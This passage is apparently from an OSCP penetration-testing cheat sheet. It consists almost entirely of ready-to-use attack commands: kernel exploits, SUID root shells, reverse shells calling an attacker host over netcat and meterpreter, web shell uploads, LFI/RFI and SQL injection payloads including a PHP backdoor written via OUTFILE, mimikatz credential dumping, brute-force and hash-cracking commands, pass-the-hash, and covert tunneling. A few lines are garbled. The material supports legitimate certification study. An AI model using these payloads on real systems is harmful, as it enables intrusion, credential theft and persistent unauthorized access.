cd /etc/pure-ftpd/auth/

ln -s ../conf/PureDB 60pdb

mkdir -p /ftphome

chown -R ftpuser:ftpgroup /ftphome/

/etc/init.d/pure-ftpd restart

Packing Files

Ultimate Packer for eXecutables

upx -9 nc.exe

exe2bat - Converts EXE to a text file that can be copied and pasted

locate exe2bat

wine exe2bat.exe nc.exe nc.txt

Veil - Evasion Framework - https://github.com/Veil-Framework/Veil-Evasion

apt-get -y install git

git clone https://github.com/Veil-Framework/Veil-Evasion.git

cd Veil-Evasion/

cd setup

setup.sh -c

Privilege Escalation

Password reuse is your friend. The OSCP labs are true to life, in the way that the users will reuse passwords across different

services and even different boxes. Maintain a list of cracked passwords and test them on new machines you encounter.

Linux Privilege Escalation

Defacto Linux Privilege Escalation Guide - A much more through guide for linux enumeration:

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

Try the obvious - Maybe the user can sudo to root:

sudo su

Here are the commands I have learned to use to perform linux enumeration and privledge escalation:

What services are running as root?:

ps aux | grep root

What files run as root / SUID / GUID?:

find / -perm +2000 -user root -type f -print

find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a

file can delete or rename here.

find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.

find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID

for i in `locate -r "bin$"`; do find $i $ -perm -4000 -o -perm -2000 $ -type f 2>/dev/null; done

find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

What folders are world writeable?:

find / -writable -type d 2>/dev/null # world-writeable folders

find / -perm -222 -type d 2>/dev/null # world-writeable folders

find / -perm -o w -type d 2>/dev/null # world-writeable folders

find / -perm -o x -type d 2>/dev/null # world-executable folders

find / $ -perm -o w -perm -o x $ -type d 2>/dev/null # world-writeable & executable folders

There are a few scripts that can automate the linux enumeration process:

Google is my favorite Linux Kernel exploitation search tool. Many of these automated checkers are missing important

kernel exploits which can create a very frustrating blindspot during your OSCP course.

LinuxPrivChecker.py - My favorite automated linux priv enumeration checker -

https://www.securitysift.com/download/linuxprivchecker.py

LinEnum - (Recently Updated)

https://github.com/rebootuser/LinEnum

linux-exploit-suggester (Recently Updated)

https://github.com/mzet-/linux-exploit-suggester

Highon.coffee Linux Local Enum - Great enumeration script!

wget https://highon.coffee/downloads/linux-local-enum.sh

Linux Privilege Exploit Suggester (Old has not been updated in years)

https://github.com/PenturaLabs/Linux_Exploit_Suggester

Linux post exploitation enumeration and exploit checking tools

https://github.com/reider-roque/linpostexp

Handy Kernel Exploits

CVE-2010-2959 - 'CAN BCM' Privilege Escalation - Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32)

https://www.exploit-db.com/exploits/14814/

wget -O i-can-haz-modharden.c http://www.exploit-db.com/download/14814

$ gcc i-can-haz-modharden.c -o i-can-haz-modharden

$ ./i-can-haz-modharden

[+] launching root shell!

# id

uid=0(root) gid=0(root)

CVE-2010-3904 - Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8

https://www.exploit-db.com/exploits/15285/

CVE-2012-0056 - Mempodipper - Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)

https://git.zx2c4.com/CVE-2012-0056/about/

Linux CVE 2012-0056

wget -O exploit.c http://www.exploit-db.com/download/18411

gcc -o mempodipper exploit.c

./mempodipper

CVE-2016-5195 - Dirty Cow - Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

https://dirtycow.ninja/

First existed on 2.6.22 (released in 2007) and was fixed on Oct 18, 2016

Run a command as a user other than root

sudo -u haxzor /usr/bin/vim /etc/apache2/sites-available/000-default.conf

Add a user or change a password

/usr/sbin/useradd -p 'openssl passwd -1 thePassword' haxzor

echo thePassword | passwd haxzor --stdin

Local Privilege Escalation Exploit in Linux

SUID (Set owner User ID up on execution)

Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as

required.

below are some quick copy and paste examples for various shells:

SUID C Shell for /bin/bash

int main(void){

setresuid(0, 0, 0);

system("/bin/bash");

}

SUID C Shell for /bin/sh

int main(void){

setresuid(0, 0, 0);

system("/bin/sh");

}

Building the SUID Shell binary

gcc -o suid suid.c

For 32 bit:

gcc -m32 -o suid suid.c

Create and compile an SUID from a limited shell (no file transfer)

echo "int main(void){\nsetgid(0);\nsetuid(0);\nsystem(\"/bin/sh\");\n}" >privsc.c

gcc privsc.c -o privsc

Handy command if you can get a root user to run it. Add the www-data user to Root SUDO group with no password

requirement:

echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' >

/tmp/update

You may find a command is being executed by the root user, you may be able to modify the system PATH environment

variable to execute your command instead. In the example below, ssh is replaced with a reverse shell SUID connecting to

10.10.10.1 on port 4444.

set PATH="/tmp:/usr/local/bin:/usr/bin:/bin"

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 4444 >/tmp/f" >> /tmp/ssh

chmod +x ssh

SearchSploit

searchsploit –uncsearchsploit apache 2.2

searchsploit "Linux Kernel"

searchsploit linux 2.6 | grep -i ubuntu | grep local

searchsploit slmail

Kernel Exploit Suggestions for Kernel Version 3.0.0

./usr/share/linux-exploit-suggester/Linux_Exploit_Suggester.pl -k 3.0.0

Precompiled Linux Kernel Exploits - Super handy if GCC is not installed on the target machine!

https://www.kernel-exploits.com/

Collect root password

cat /etc/shadow |grep root

Find and display the proof.txt or flag.txt - LOOT!

cat `find / -name proof.txt -print`

Windows Privilege Escalation

Windows Privilege Escalation resource http://www.fuzzysecurity.com/tutorials/16.html

Try the getsystem command using meterpreter - rarely works but is worth a try.

meterpreter > getsystem

Metasploit Meterpreter Privilege Escalation Guide https://www.offensive-security.com/metasploit-unleashed/privilege-

escalation/

Windows Server 2003 and IIS 6.0 WEBDAV Exploiting http://www.r00tsec.com/2011/09/exploiting-microsoft-iis-version-

60.html

msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=443 -f asp > aspshell.txt

cadavar http://$ip

dav:/> put aspshell.txt

Uploading aspshell.txt to `/aspshell.txt':

Progress: [=============================>] 100.0% of 38468 bytes succeeded.

dav:/> copy aspshell.txt aspshell3.asp;.txt

Copying `/aspshell3.txt' to `/aspshell3.asp%3b.txt': succeeded.

dav:/> exit

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 1.2.3.4

msf exploit(handler) > set LPORT 80

msf exploit(handler) > set ExitOnSession false

msf exploit(handler) > exploit -j

curl http://$ip/aspshell3.asp;.txt

[*] Started reverse TCP handler on 1.2.3.4:443

[*] Starting the payload handler...

[*] Sending stage (957487 bytes) to 1.2.3.5

[*] Meterpreter session 1 opened (1.2.3.4:443 -> 1.2.3.5:1063) at 2017-09-25 13:10:55 -0700

Windows privledge escalation exploits are often written in Python. So, it is necessary to compile the using pyinstaller.py

into an executable and upload them to the remote server.

pip install pyinstaller

wget -O exploit.py http://www.exploit-db.com/download/31853

python pyinstaller.py --onefile exploit.py

Windows Server 2003 and IIS 6.0 privledge escalation using impersonation:

https://www.exploit-db.com/exploits/6705/

https://github.com/Re4son/Churrasco

c:\Inetpub>churrasco

churrasco

/churrasco/-->Usage: Churrasco.exe [-d] "command to run"

c:\Inetpub>churrasco -d "net user /add <username> <password>"

c:\Inetpub>churrasco -d "net localgroup administrators <username> /add"

c:\Inetpub>churrasco -d "NET LOCALGROUP "Remote Desktop Users" <username> /ADD"

Windows MS11-080 - http://www.exploit-db.com/exploits/18176/

python pyinstaller.py --onefile ms11-080.py

mx11-080.exe -O XP

Powershell Exploits - You may find that some Windows privledge escalation exploits are written in Powershell. You may

not have an interactive shell that allows you to enter the powershell prompt. Once the powershell script is uploaded to

the server, here is a quick one liner to run a powershell command from a basic (cmd.exe) shell:

MS16-032 https://www.exploit-db.com/exploits/39719/

powershell -ExecutionPolicy ByPass -command "& { . C:\Users\Public\Invoke-MS16-032.ps1; Invoke-MS16-032 }"

Powershell Priv Escalation Tools https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

Windows Run As - Switching users in linux is trival with the SU command. However, an equivalent command does not

exist in Windows. Here are 3 ways to run a command as a different user in Windows.

Sysinternals psexec is a handy tool for running a command on a remote or local server as a specific user, given you

have thier username and password. The following example creates a reverse shell from a windows server to our Kali

box using netcat for Windows and Psexec (on a 64 bit system).

Runas.exe is a handy windows tool that allows you to run a program as another user so long as you know thier

password. The following example creates a reverse shell from a windows server to our Kali box using netcat for

Windows and Runas.exe:

C:\>C:\Windows\System32\runas.exe /env /noprofile /user:Test "c:\users\public\nc.exe -nc 192.168.1.10

4444 -e cmd.exe"

Enter the password for Test:

Attempting to start nc.exe as user "COMPUTERNAME\Test" ...

PowerShell can also be used to launch a process as another user. The following simple powershell script will run a

reverse shell as the specified username and password.

C:\>psexec64 \\COMPUTERNAME -u Test -p test -h "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe"

PsExec v2.2 - Execute processes remotely

Sysinternals - www.sysinternals.com

$username = '<username here>'

$password = '<password here>'

$securePassword = ConvertTo-SecureString $password -AsPlainText -Force

$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword

Start-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential $credential -ArgumentList ("-

nc","192.168.1.10","4444","-e","cmd.exe") -WorkingDirectory C:\Users\Public

Next run this script using powershell.exe:

powershell -ExecutionPolicy ByPass -command "& { . C:\Users\public\PowerShellRunAs.ps1; }"

Windows Service Configuration Viewer - Check for misconfigurations in services that can lead to privilege escalation. You

can replace the executable with your own and have windows execute whatever code you want as the privileged user.

icacls scsiaccess.exe

scsiaccess.exe

NT AUTHORITY\SYSTEM:(I)(F)

BUILTIN\Administrators:(I)(F)

BUILTIN\Users:(I)(RX)

APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)

Everyone:(I)(F)

Compile a custom add user command in windows using C

root@kali:~\# cat useradd.c

#include <stdlib.h> /* system, NULL, EXIT_FAILURE */

int main ()

{

int i;

i=system ("net localgroup administrators low /add");

return 0;

}

i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c

Group Policy Preferences (GPP)

A common useful misconfiguration found in modern domain environments is unprotected Windows GPP settings files

map the Domain controller SYSVOL share

net use z:\\dc01\SYSVOL

Find the GPP file: Groups.xml

dir /s Groups.xml

Review the contents for passwords

type Groups.xml

Decrypt using GPP Decrypt

gpp-decrypt riBZpPtHOGtVk+SdLOmJ6xiNgFH6Gp45BoP3I6AnPgZ1IfxtgI67qqZfgh78kBZB

Find and display the proof.txt or flag.txt - get the loot!

#meterpreter > run post/windows/gather/win_privs cd\ & dir /b /s proof.txt type c:\pathto\proof.txt

Client, Web and Password Attacks

Client Attacks

MS12-037- Internet Explorer 8 Fixed Col Span ID

wget -O exploit.html http://www.exploit-db.com/download/24017

service apache2 start

JAVA Signed Jar client side attack

echo '' > /var/www/html/java.html

User must hit run on the popup that occurs.

Linux Client Shells

http://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

Setting up the Client Side Exploit

Swapping Out the Shellcode

Injecting a Backdoor Shell into Plink.exe

backdoor-factory -f /usr/share/windows-binaries/plink.exe -H $ip -P 4444 -s reverse_shell_tcp

Web Attacks

Web Shag Web Application Vulnerability Assessment Platform

webshag-gui

Web Shells

http://tools.kali.org/maintaining-access/webshells

ls -l /usr/share/webshells/

Generate a PHP backdoor (generate) protected with the given password (s3cr3t)

weevely generate s3cr3t

weevely http://$ip/weevely.php s3cr3t

Java Signed Applet Attack

HTTP / HTTPS Webserver Enumeration

OWASP Dirbuster

nikto -h $ip

Essential Iceweasel Add-ons

Cookies Manager https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/

Tamper Data

https://addons.mozilla.org/en-US/firefox/addon/tamper-data/

Cross Site Scripting (XSS)

significant impacts, such as cookie stealing and authentication bypass, redirecting the victim’s browser to a malicious

HTML page, and more

Browser Redirection and IFRAME Injection

Stealing Cookies and Session Information

nc -nlvp 80

File Inclusion Vulnerabilities

Local (LFI) and remote (RFI) file inclusion vulnerabilities are commonly found in poorly written PHP code.

fimap - There is a Python tool called fimap which can be leveraged to automate the exploitation of LFI/RFI

vulnerabilities that are found in PHP (sqlmap for LFI):

https://github.com/kurobeats/fimap

Gaining a shell from phpinfo()

fimap + phpinfo() Exploit - If a phpinfo() file is present, it’s usually possible to get a shell, if you don’t know the

location of the phpinfo file fimap can probe for it, or you could use a tool like OWASP DirBuster.

For Local File Inclusions look for the include() function in PHP code.

include("lang/".$_COOKIE['lang']);

include($_GET['page'].".php");

LFI - Encode and Decode a file using base64

curl -s http://$ip/?page=php://filter/convert.base64-encode/resource=index | grep -e '[^\ ]\{40,\}' | base64 -d

LFI - Download file with base 64 encoding

http://$ip/index.php?page=php://filter/convert.base64-encode/resource=admin.php

LFI Linux Files:

/etc/issue

/proc/version

/etc/profile

/etc/passwd

/etc/shadow

/root/.bash_history

/var/log/dmessage

/var/mail/root

/var/spool/cron/crontabs/root

LFI Windows Files:

%SYSTEMROOT%\repair\system

%SYSTEMROOT%\repair\SAM

%WINDIR%\win.ini

%SYSTEMDRIVE%\boot.ini

%WINDIR%\Panther\sysprep.inf

%WINDIR%\system32\config\AppEvent.Evt

LFI OSX Files:

/etc/fstab

/etc/master.passwd

/etc/resolv.conf

/etc/sudoers

/etc/sysctl.conf

LFI - Download passwords file

http://$ip/index.php?page=/etc/passwd

http://$ip/index.php?file=../../../../etc/passwd

LFI - Download passwords file with filter evasion

http://$ip/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

Local File Inclusion - In versions of PHP below 5.3 we can terminate with null byte

GET /addguestbook.php?

name=Haxor&comment=Merci!&LANG=../../../../../../../windows/system32/drivers/etc/hosts%00

Contaminating Log Files <?php echo shell_exec($_GET['cmd']);?>

For a Remote File Inclusion look for php code that is not sanitized and passed to the PHP include function and the

php.ini file must be configured to allow remote files

/etc/php5/cgi/php.ini - "allow_url_fopen" and "allow_url_include" both set to "on"

include($_REQUEST["file"].".php");

Remote File Inclusion

http://192.168.11.35/addguestbook.php?name=a&comment=b&LANG=http://192.168.10.5/evil.txt

<?php echo shell\_exec("ipconfig");?>

Database Vulnerabilities

Grab password hashes from a web application mysql database called “Users” - once you have the MySQL root

username and password

mysql -u root -p -h $ip

use "Users"

show tables;

select \* from users;

Authentication Bypass

name='wronguser' or 1=1;

name='wronguser' or 1=1 LIMIT 1;

Enumerating the Database

http://192.168.11.35/comment.php?id=738)'

Verbose error message?

http://$ip/comment.php?id=738 order by 1

http://$ip/comment.php?id=738 union all select 1,2,3,4,5,6

Determine MySQL Version:

http://$ip/comment.php?id=738 union all select 1,2,3,4,@@version,6

Current user being used for the database connection:

http://$ip/comment.php?id=738 union all select 1,2,3,4,user(),6

Enumerate database tables and column structures

http://$ip/comment.php?id=738 union all select 1,2,3,4,table_name,6 FROM information_schema.tables

Target the users table in the database

http://$ip/comment.php?id=738 union all select 1,2,3,4,column_name,6 FROM information_schema.columns where

table_name='users'

Extract the name and password

http://$ip/comment.php?id=738 union select 1,2,3,4,concat(name,0x3a, password),6 FROM users

Create a backdoor

http://$ip/comment.php?id=738 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into

OUTFILE 'c:/xampp/htdocs/backdoor.php'

SQLMap Examples

Crawl the links

sqlmap -u http://$ip --crawl=1

sqlmap -u http://meh.com --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3

SQLMap Search for databases against a suspected GET SQL Injection

sqlmap –u http://$ip/blog/index.php?search –dbs

SQLMap dump tables from database oscommerce at GET SQL injection

sqlmap –u http://$ip/blog/index.php?search= –dbs –D oscommerce –tables –dumps

SQLMap GET Parameter command

sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --dump -threads=5

SQLMap Post Username parameter

sqlmap -u http://$ip/login.php --method=POST --data="usermail=asc@dsd.com&password=1231" -p "usermail" --

risk=3 --level=5 --dbms=MySQL --dump-all

SQL Map OS Shell

sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --osshell

sqlmap -u http://$ip/login.php --method=POST --data="usermail=asc@dsd.com&password=1231" -p "usermail" --

risk=3 --level=5 --dbms=MySQL --os-shell

Automated sqlmap scan

sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords -

-file-read="/var/www/blah.php"

Targeted sqlmap scan

sqlmap -u "http://meh.com/meh.php?id=1" --dbms=mysql --tech=U --random-agent --dump

Scan url for union + error based injection with mysql backend and use a random user agent + database dump

sqlmap -o -u http://$ip/index.php --forms --dbs

sqlmap -o -u "http://$ip/form/" --forms

Sqlmap check form for injection

sqlmap -o -u "http://$ip/vuln-form" --forms -D database-name -T users --dump

Enumerate databases

sqlmap --dbms=mysql -u "$URL" --dbs

Enumerate tables from a specific database

sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables

Dump table data from a specific database and table

sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump

Specify parameter to exploit

sqlmap --dbms=mysql -u "http://www.example.com/param1=value1&param2=value2" --dbs -p param2

Specify parameter to exploit in 'nice' URIs (exploits param1)

sqlmap --dbms=mysql -u "http://www.example.com/param1/value1*/param2/value2" --dbs

Get OS shell

sqlmap --dbms=mysql -u "$URL" --os-shell

Get SQL shell

sqlmap --dbms=mysql -u "$URL" --sql-shell

SQL query

sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT * FROM $TABLE;"

Use Tor Socks5 proxy

sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "$URL" --dbs

NoSQLMap Examples You may encounter NoSQL instances like MongoDB in your OSCP journies ( /cgi-

bin/mongo/2.2.3/dbparse.py ). NoSQLMap can help you to automate NoSQLDatabase enumeration.

NoSQLMap Installation

git clone https://github.com/codingo/NoSQLMap.git

cd NoSQLMap/

pip install couchdb

pip install pbkdf2

pip install ipcalc

python nosqlmap.py --help

Password Attacks

AES Decryption

http://aesencryption.net/

Convert multiple webpages into a word list

for x in 'index' 'about' 'post' 'contact' ; do curl http://$ip/$x.html | html2markdown | tr -s ' ' '\n' >> webapp.txt ; done

Or convert html to word list dict

html2dic index.html.out | sort -u > index-html.dict

Default Usernames and Passwords

CIRT

http://www.cirt.net/passwords

Government Security - Default Logins and Passwords for Networked Devices

http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php

Virus.org

http://www.virus.org/default-password/

Default Password

http://www.defaultpassword.com/

Brute Force

Nmap Brute forcing Scripts

https://nmap.org/nsedoc/categories/brute.html

Nmap Generic auto detect brute force attack

nmap --script brute -Pn <target.com or ip>

MySQL nmap brute force attack

nmap --script=mysql-brute $ip

Dictionary Files

Word lists on Kali

cd /usr/share/wordlists

Key-space Brute Force

crunch 6 6 0123456789ABCDEF -o crunch1.txt

crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha

crunch 8 8 -t ,@@^^%%%

Pwdump and Fgdump - Security Accounts Manager (SAM)

pwdump.exe - attempts to extract password hashes

fgdump.exe - attempts to kill local antiviruses before attempting to dump the password hashes and cached

credentials.

Windows Credential Editor (WCE)

allows one to perform several attacks to obtain clear text passwords and hashes

wce -w

Mimikatz

extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform

pass-the-hash, pass-the-ticket or build Golden tickets

https://github.com/gentilkiwi/mimikatz From metasploit meterpreter (must have System level access):

meterpreter> load mimikatz meterpreter> help mimikatz meterpreter> msv meterpreter> kerberos meterpreter>

mimikatz_command -f samdump::hashes meterpreter> mimikatz_command -f sekurlsa::searchPasswords

Password Profiling

cewl can generate a password list from a web page

cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt

Password Mutating

John the ripper can mutate password lists

nano /etc/john/john.conf

john --wordlist=megacorp-cewl.txt --rules --stdout > mutated.txt

Medusa

Medusa, initiated against an htaccess protected web directory

medusa -h $ip -u admin -P password-file.txt -M http -m DIR:/admin -T 10

Ncrack

ncrack (from the makers of nmap) can brute force RDP

ncrack -vv --user offsec -P password-file.txt rdp://$ip

Hydra

Hydra brute force against SNMP

hydra -P password-file.txt -v $ip snmp

Hydra FTP known user and password list

hydra -t 1 -l admin -P /root/Desktop/password.lst -vV $ip ftp

Hydra SSH using list of users and passwords

hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh

Hydra SSH using a known password and a username list

hydra -v -V -u -L users.txt -p "<known password>" -t 1 -u $ip ssh

Hydra SSH Against Known username on port 22 hydra $ip -s 22 ssh -l <user> -P big\_wordlist.txt

Hydra POP3 Brute Force

hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V

Hydra SMTP Brute Force

hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V

Hydra attack http get 401 login with a dictionary

hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin

Hydra attack Windows Remote Desktop with rockyou hydra -t 1 -V -f -l administrator -P

/usr/share/wordlists/rockyou.txt rdp://$ip

Hydra brute force a Wordpress admin login hydra -l admin -P ./passwordlist.txt $ip -V http-form-post

'/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'

Password Hash Attacks

Online Password Cracking

https://crackstation.net/

Hashcat Needed to install new drivers to get my GPU Cracking to work on the Kali linux VM and I also had to use the

--force parameter. apt-get install libhwloc-dev ocl-icd-dev ocl-icd-opencl-dev and apt-get install pocl-opencl-icd

Cracking Linux Hashes - /etc/shadow file

500 | md5crypt $1$, MD5(Unix) | Operating-Systems

3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems

7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems

1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems

Cracking Windows Hashes

3000 | LM | Operating-Systems

1000 | NTLM | Operating-Systems

Cracking Common Application Hashes

900 | MD4 | Raw Hash

0 | MD5 | Raw Hash

5100 | Half MD5 | Raw Hash

100 | SHA1 | Raw Hash

10800 | SHA-384 | Raw Hash

1400 | SHA-256 | Raw Hash

1700 | SHA-512 | Raw Hash

Create a .hash file with all the hashes you want to crack puthasheshere.hash:

$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/

Hashcat example cracking Linux md5crypt passwords $1$ using rockyou:

hashcat --force -m 500 -a 0 -o found1.txt --remove puthasheshere.hash /usr/share/wordlists/rockyou.txt

Wordpress sample hash: $P$B55D6LjfHDkINU5wF.v2BuuzO0/XPk/

Wordpress clear text: test

Hashcat example cracking Wordpress passwords using rockyou:

hashcat --force -m 400 -a 0 -o found1.txt --remove wphash.hash /usr/share/wordlists/rockyou.txt

- Sample Hashes

[*http://openwall.info/wiki/john/sample-hashes*](http://openwall.info/wiki/john/sample-hashes)

- Identify Hashes

`hash-identifier`

- To crack linux hashes you must first unshadow them:

`unshadow passwd-file.txt shadow-file.txt `

`unshadow passwd-file.txt shadow-file.txt > unshadowed.txt`

John the Ripper - Password Hash Cracking

john $ip.pwdump

john --wordlist=/usr/share/wordlists/rockyou.txt hashes

john --rules --wordlist=/usr/share/wordlists/rockyou.txt

john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

JTR forced descrypt cracking with wordlist

john --format=descrypt --wordlist /usr/share/wordlists/rockyou.txt hash.txt

JTR forced descrypt brute force cracking

john --format=descrypt hash --show

Passing the Hash in Windows

Use Metasploit to exploit one of the SMB servers in the labs. Dump the password hashes and attempt a pass-the-

hash attack against another system:

export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896

pth-winexe -U administrator //$ip cmd

Networking, Pivoting and Tunneling

Port Forwarding - accept traffic on a given IP address and port and redirect it to a different IP address and port

apt-get install rinetd

cat /etc/rinetd.conf \# bindadress bindport connectaddress connectport w.x.y.z 53 a.b.c.d 80

SSH Local Port Forwarding: supports bi-directional communication channels

ssh <gateway> -L <local port to listen>:<remote host>:<remote port>

SSH Remote Port Forwarding: Suitable for popping a remote shell on an internal non routable network

ssh <gateway> -R <remote port to bind>:<local host>:<local port>

SSH Dynamic Port Forwarding: create a SOCKS4 proxy on our local attacking box to tunnel ALL incoming traffic to ANY

host in the DMZ network on ANY PORT

ssh -D <local proxy port> -p <remote port> <target>

Proxychains - Perform nmap scan within a DMZ from an external computer

Create reverse SSH tunnel from Popped machine on :2222

ssh -f -N -T -R22222:localhost:22 yourpublichost.example.com ssh -f -N -R 2222:<local host>:22 root@<remote

host>

Create a Dynamic application-level port forward on 8080 thru 2222

ssh -f -N -D <local host>:8080 -p 2222 hax0r@<remote host>

Leverage the SSH SOCKS server to perform Nmap scan on network using proxy chains

proxychains nmap --top-ports=20 -sT -Pn $ip/24

HTTP Tunneling

nc -vvn $ip 8888

Traffic Encapsulation - Bypassing deep packet inspection

http tunnel

On server side:

sudo hts -F <server ip addr>:<port of your app> 80 On client side:

sudo htc -P <my proxy.com:proxy port> -F <port of your app> <server ip addr>:80 stunnel

Tunnel Remote Desktop (RDP) from a Popped Windows machine to your network

Tunnel on port 22

plink -l root -pw pass -R 3389:<localhost>:3389 <remote host>

Port 22 blocked? Try port 80? or 443?

plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P80

Tunnel Remote Desktop (RDP) from a Popped Windows using HTTP Tunnel (bypass deep packet inspection)

Windows machine add required firewall rules without prompting the user

netsh advfirewall firewall add rule name="httptunnel_client" dir=in action=allow

program="httptunnel_client.exe" enable=yes

netsh advfirewall firewall add rule name="3000" dir=in action=allow protocol=TCP localport=3000

netsh advfirewall firewall add rule name="1080" dir=in action=allow protocol=TCP localport=1080

netsh advfirewall firewall add rule name="1079" dir=in action=allow protocol=TCP localport=1079

Start the http tunnel client

httptunnel_client.exe

Create HTTP reverse shell by connecting to localhost port 3000

plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P 3000

VLAN Hopping

git clone https://github.com/nccgroup/vlan-hopping.git chmod 700 frogger.sh ./frogger.sh

VPN Hacking

Identify VPN servers:

./udp-protocol-scanner.pl -p ike $ip

Scan a range for VPN servers:

./udp-protocol-scanner.pl -p ike -f ip.txt

Use IKEForce to enumerate or dictionary attack VPN servers:

pip install pyip

git clone https://github.com/SpiderLabs/ikeforce.git

Perform IKE VPN enumeration with IKEForce:

./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

Bruteforce IKE VPN using IKEForce:

./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1 Use ike-scan to capture the PSK

hash:

ike-scan ike-scan TARGET-IP ike-scan -A TARGET-IP ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key ike-scan –

M –A –n example\_group -P hash-file.txt TARGET-IP Use psk-crack to crack the PSK hash

psk-crack hash-file.txt pskcrack psk-crack -b 5 TARGET-IPkey psk-crack -b 5 --

charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key psk-crack -d

/path/to/dictionary-file TARGET-IP-key

PPTP Hacking

Identifying PPTP, it listens on TCP: 1723

NMAP PPTP Fingerprint:

nmap –Pn -sV -p 1723 TARGET(S) PPTP Dictionary Attack

thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst

Port Forwarding/Redirection

PuTTY Link tunnel - SSH Tunneling

Forward remote port to local address:

plink.exe -P 22 -l root -pw "1337" -R 445:<local host>:445 <remote host>

SSH Pivoting

SSH pivoting from one network to another:

ssh -D <local host>:1010 -p 22 user@<remote host>

DNS Tunneling

dnscat2 supports “download” and “upload” commands for getting iles (data and programs) to and from the target

machine.

Attacking Machine Installation:

apt-get update apt-get -y install ruby-dev git make g++ gem install bundler git clone

https://github.com/iagox86/dnscat2.git cd dnscat2/server bundle install

Run dnscat2:

ruby ./dnscat2.rb dnscat2> New session established: 1422 dnscat2> session -i 1422

Target Machine:

https://downloads.skullsecurity.org/dnscat2/ https://github.com/lukebaggett/dnscat2-powershell/

dnscat --host <dnscat server ip>

The Metasploit Framework

See Metasploit Unleashed Course in the Essentials

Search for exploits using Metasploit GitHub framework source code:

https://github.com/rapid7/metasploit-framework

Translate them for use on OSCP LAB or EXAM.

Metasploit

MetaSploit requires Postfresql

systemctl start postgresql

To enable Postgresql on startup

systemctl enable postgresql

MSF Syntax

Start metasploit

msfconsole

msfconsole -q

Show help for command

show -h

Show Auxiliary modules

show auxiliary

Use a module

use auxiliary/scanner/snmp/snmp_enum use auxiliary/scanner/http/webdav_scanner use

auxiliary/scanner/smb/smb_version use auxiliary/scanner/ftp/ftp_login use

exploit/windows/pop3/seattlelab_pass

Show the basic information for a module

info

Show the configuration parameters for a module

show options

Set options for a module

set RHOSTS 192.168.1.1-254 set THREADS 10

Run the module

run

Execute an Exploit

exploit

Search for a module

search type:auxiliary login

Metasploit Database Access

Show all hosts discovered in the MSF database

hosts

Scan for hosts and store them in the MSF database

db_nmap

Search machines for specific ports in MSF database

services -p 443

Leverage MSF database to scan SMB ports (auto-completed rhosts)

services -p 443 --rhosts

Staged and Non-staged

Non-staged payload - is a payload that is sent in its entirety in one go

Staged - sent in two parts Not have enough buffer space Or need to bypass antivirus

MS 17-010 - EternalBlue

You may find some boxes that are vulnerable to MS17-010 (AKA. EternalBlue). Although, not offically part of the

indended course, this exploit can be leveraged to gain SYSTEM level access to a Windows box. I have never had much

